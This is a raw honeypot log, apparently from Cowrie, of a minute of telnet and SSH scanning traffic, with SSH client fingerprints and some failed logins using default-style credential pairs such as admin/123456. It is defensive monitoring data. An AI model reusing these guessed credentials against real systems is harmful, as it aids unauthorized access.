{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":44780,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b076c10f806","protocol":"telnet","message":"New connection: 103.247.216.2:44780 (10.17.0.5:23) [session: 2b076c10f806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:11.663622Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45732,"dst_ip":"159.203.135.109","dst_port":22,"session":"8941d032f6c5","protocol":"ssh","message":"New connection: 159.203.92.129:45732 (159.203.135.109:22) [session: 8941d032f6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:12.083529Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":45998,"dst_ip":"10.17.0.5","dst_port":23,"session":"cff7ec91ca49","protocol":"telnet","message":"New connection: 103.247.216.2:45998 (10.17.0.5:23) [session: cff7ec91ca49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:12.744210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:12.762997Z","src_ip":"159.203.92.129","session":"8941d032f6c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:12.766944Z","src_ip":"159.203.92.129","session":"8941d032f6c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":46246,"dst_ip":"10.17.0.5","dst_port":23,"session":"e126a8d3f71c","protocol":"telnet","message":"New connection: 103.247.216.2:46246 (10.17.0.5:23) [session: e126a8d3f71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:12.987524Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":46310,"dst_ip":"10.17.0.5","dst_port":23,"session":"e26626cf73a2","protocol":"telnet","message":"New connection: 103.247.216.2:46310 (10.17.0.5:23) [session: e26626cf73a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:13.040835Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:14.055753Z","src_ip":"159.203.92.129","session":"8941d032f6c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:15.452120Z","src_ip":"159.203.92.129","session":"8941d032f6c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":50132,"dst_ip":"10.17.0.5","dst_port":23,"session":"343337332dc3","protocol":"telnet","message":"New connection: 103.247.216.2:50132 (10.17.0.5:23) [session: 343337332dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:16.762717Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":50166,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a97010fa9c2","protocol":"telnet","message":"New connection: 103.247.216.2:50166 (10.17.0.5:23) [session: 8a97010fa9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:16.795848Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":53466,"dst_ip":"10.17.0.5","dst_port":23,"session":"16946af9ff54","protocol":"telnet","message":"New connection: 103.247.216.2:53466 (10.17.0.5:23) [session: 16946af9ff54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:19.669055Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":59398,"dst_ip":"10.17.0.5","dst_port":23,"session":"97af9708e84b","protocol":"telnet","message":"New connection: 103.247.216.2:59398 (10.17.0.5:23) [session: 97af9708e84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:24.644127Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":33452,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ff1ebbf966e","protocol":"telnet","message":"New connection: 103.247.216.2:33452 (10.17.0.5:23) [session: 2ff1ebbf966e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:26.659826Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":33540,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e213581c164","protocol":"telnet","message":"New connection: 103.247.216.2:33540 (10.17.0.5:23) [session: 0e213581c164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:26.734698Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":35976,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b4de237303f","protocol":"telnet","message":"New connection: 103.247.216.2:35976 (10.17.0.5:23) [session: 7b4de237303f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:28.627149Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":35990,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f456720055","protocol":"telnet","message":"New connection: 103.247.216.2:35990 (10.17.0.5:23) [session: 82f456720055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:29.637461Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":37200,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e23438694a","protocol":"telnet","message":"New connection: 103.247.216.2:37200 (10.17.0.5:23) [session: c3e23438694a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:29.687721Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":38398,"dst_ip":"10.17.0.5","dst_port":23,"session":"40220aa9642a","protocol":"telnet","message":"New connection: 103.247.216.2:38398 (10.17.0.5:23) [session: 40220aa9642a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:30.656866Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":38406,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed267b2c8dc9","protocol":"telnet","message":"New connection: 103.247.216.2:38406 (10.17.0.5:23) [session: ed267b2c8dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:30.661402Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":38814,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b79fe93df1b","protocol":"telnet","message":"New connection: 103.247.216.2:38814 (10.17.0.5:23) [session: 5b79fe93df1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:30.956950Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":39522,"dst_ip":"10.17.0.5","dst_port":23,"session":"083df6f2c319","protocol":"telnet","message":"New connection: 103.247.216.2:39522 (10.17.0.5:23) [session: 083df6f2c319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:31.606525Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":39534,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dce95d6a3f2","protocol":"telnet","message":"New connection: 103.247.216.2:39534 (10.17.0.5:23) [session: 7dce95d6a3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:31.673264Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":41800,"dst_ip":"10.17.0.5","dst_port":23,"session":"df370ad850dc","protocol":"telnet","message":"New connection: 103.247.216.2:41800 (10.17.0.5:23) [session: df370ad850dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:33.639845Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":41822,"dst_ip":"10.17.0.5","dst_port":23,"session":"730f0fdd847c","protocol":"telnet","message":"New connection: 103.247.216.2:41822 (10.17.0.5:23) [session: 730f0fdd847c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:33.661402Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":45102,"dst_ip":"10.17.0.5","dst_port":23,"session":"c65c0094b62d","protocol":"telnet","message":"New connection: 103.247.216.2:45102 (10.17.0.5:23) [session: c65c0094b62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:36.649776Z"}
{"eventid":"cowrie.session.closed","duration":30.62757444381714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:38.393235Z","src_ip":"103.247.216.2","session":"62fd744705b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.480499982833862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:39.255050Z","src_ip":"103.247.216.2","session":"c52e20c64808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":58726,"dst_ip":"10.17.0.5","dst_port":22,"session":"85b99383c7e0","protocol":"ssh","message":"New connection: 68.183.236.1:58726 (10.17.0.5:22) [session: 85b99383c7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:39.347611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:39.353456Z","src_ip":"68.183.236.1","session":"85b99383c7e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:39.601084Z","src_ip":"68.183.236.1","session":"85b99383c7e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":48758,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e1c3e919968","protocol":"telnet","message":"New connection: 103.247.216.2:48758 (10.17.0.5:23) [session: 8e1c3e919968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:39.659933Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":48782,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a1abb7e91ca","protocol":"telnet","message":"New connection: 103.247.216.2:48782 (10.17.0.5:23) [session: 1a1abb7e91ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:39.685213Z"}
{"eventid":"cowrie.session.closed","duration":30.554579973220825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:40.206526Z","src_ip":"103.247.216.2","session":"d790bde26c63","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"pass","message":"login attempt [webuser/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:40.615804Z","src_ip":"68.183.236.1","session":"85b99383c7e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":50104,"dst_ip":"10.17.0.5","dst_port":23,"session":"e82c503a4bad","protocol":"telnet","message":"New connection: 103.247.216.2:50104 (10.17.0.5:23) [session: e82c503a4bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:40.738934Z"}
{"eventid":"cowrie.session.closed","duration":30.50034475326538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:41.223108Z","src_ip":"103.247.216.2","session":"4b1d4cd388fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":51146,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c2ea3c11e8b","protocol":"telnet","message":"New connection: 103.247.216.2:51146 (10.17.0.5:23) [session: 0c2ea3c11e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:41.642877Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":51202,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdec52e28b35","protocol":"telnet","message":"New connection: 103.247.216.2:51202 (10.17.0.5:23) [session: bdec52e28b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:41.705901Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:41.870673Z","src_ip":"68.183.236.1","session":"85b99383c7e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.563613176345825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:42.199625Z","src_ip":"103.247.216.2","session":"50b9c5466db4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.610734462738037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:42.274214Z","src_ip":"103.247.216.2","session":"2b076c10f806","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":52442,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef0daeb8f506","protocol":"telnet","message":"New connection: 103.247.216.2:52442 (10.17.0.5:23) [session: ef0daeb8f506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:42.663461Z"}
{"eventid":"cowrie.session.closed","duration":30.42364764213562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:43.167008Z","src_ip":"103.247.216.2","session":"cff7ec91ca49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.253675937652588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:44.294384Z","src_ip":"103.247.216.2","session":"e26626cf73a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45558214187622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:44.442971Z","src_ip":"103.247.216.2","session":"e126a8d3f71c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42932105064392,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:47.191925Z","src_ip":"103.247.216.2","session":"343337332dc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.470529079437256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:47.266193Z","src_ip":"103.247.216.2","session":"8a97010fa9c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599034309387207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:50.268191Z","src_ip":"103.247.216.2","session":"16946af9ff54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":37520,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff68fa4f9032","protocol":"telnet","message":"New connection: 103.247.216.2:37520 (10.17.0.5:23) [session: ff68fa4f9032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:54.641560Z"}
{"eventid":"cowrie.session.closed","duration":30.672698497772217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:55.316678Z","src_ip":"103.247.216.2","session":"97af9708e84b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":37524,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce1962fb52c7","protocol":"telnet","message":"New connection: 103.247.216.2:37524 (10.17.0.5:23) [session: ce1962fb52c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:55.631976Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34510,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e65e9fcdefb","protocol":"ssh","message":"New connection: 159.203.92.129:34510 (159.203.135.109:22) [session: 4e65e9fcdefb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:56.430655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:56.440199Z","src_ip":"159.203.92.129","session":"4e65e9fcdefb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:56.446031Z","src_ip":"159.203.92.129","session":"4e65e9fcdefb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567","message":"login attempt [admin/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:56.458025Z","src_ip":"159.203.92.129","session":"4e65e9fcdefb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48524260520935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:57.219810Z","src_ip":"103.247.216.2","session":"0e213581c164","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.603366136550903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:57.263033Z","src_ip":"103.247.216.2","session":"2ff1ebbf966e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:57.541792Z","src_ip":"159.203.92.129","session":"4e65e9fcdefb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.624263525009155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:59.251314Z","src_ip":"103.247.216.2","session":"7b4de237303f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":42890,"dst_ip":"10.17.0.5","dst_port":23,"session":"252673d0d4b2","protocol":"telnet","message":"New connection: 103.247.216.2:42890 (10.17.0.5:23) [session: 252673d0d4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:59.715756Z"}
{"eventid":"cowrie.session.closed","duration":30.567659378051758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:00.255208Z","src_ip":"103.247.216.2","session":"c3e23438694a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65184760093689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:00.289188Z","src_ip":"103.247.216.2","session":"82f456720055","protocol":"telnet"}
